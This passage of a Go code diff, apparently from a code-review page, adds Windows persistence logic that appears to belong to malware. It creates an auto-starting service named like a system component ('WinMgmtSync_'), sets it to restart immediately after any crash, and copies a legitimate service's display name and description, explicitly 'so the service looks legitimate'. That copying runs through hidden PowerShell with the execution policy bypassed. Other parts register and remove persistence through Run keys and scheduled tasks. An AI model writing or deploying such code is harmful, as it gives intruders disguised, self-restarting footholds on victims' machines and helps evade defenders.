svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
|
||||
// Tear down any stale instance first (errors are expected and ignored)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
// Give SCM time to fully remove the entry
|
||||
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
||||
|
||||
// Create the service
|
||||
if err := exec.Command("sc.exe", "create", svcName,
|
||||
"binPath=", `"`+binPath+`" --run`,
|
||||
"type=", "own",
|
||||
"start=", "auto",
|
||||
"error=", "ignore",
|
||||
).Run(); err != nil {
|
||||
return fmt.Errorf("sc create: %w", err)
|
||||
}
|
||||
|
||||
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
||||
_ = exec.Command("sc.exe", "failure", svcName,
|
||||
"reset=", "60",
|
||||
"actions=", "restart/0/restart/5000/restart/30000",
|
||||
).Run()
|
||||
|
||||
// Start it
|
||||
_ = exec.Command("sc.exe", "start", svcName).Run()
|
||||
|
||||
// Masquerade: copy description from donor service
|
||||
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
||||
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// cloneServiceDescription copies the display name and description from
|
||||
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
||||
func cloneServiceDescription(targetSvc, donorSvc string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$donor = Get-Service '%s' -EA SilentlyContinue
|
||||
if ($donor) {
|
||||
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
if ($donorWmi) {
|
||||
sc.exe description '%s' ($donorWmi.Description)
|
||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||
}
|
||||
}
|
||||
`,
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
@@ -86,7 +154,11 @@ func removePersistence(cfg config.RuntimeConfig) {
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
// Remove service — use the configured name if available, fall back to legacy pattern
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user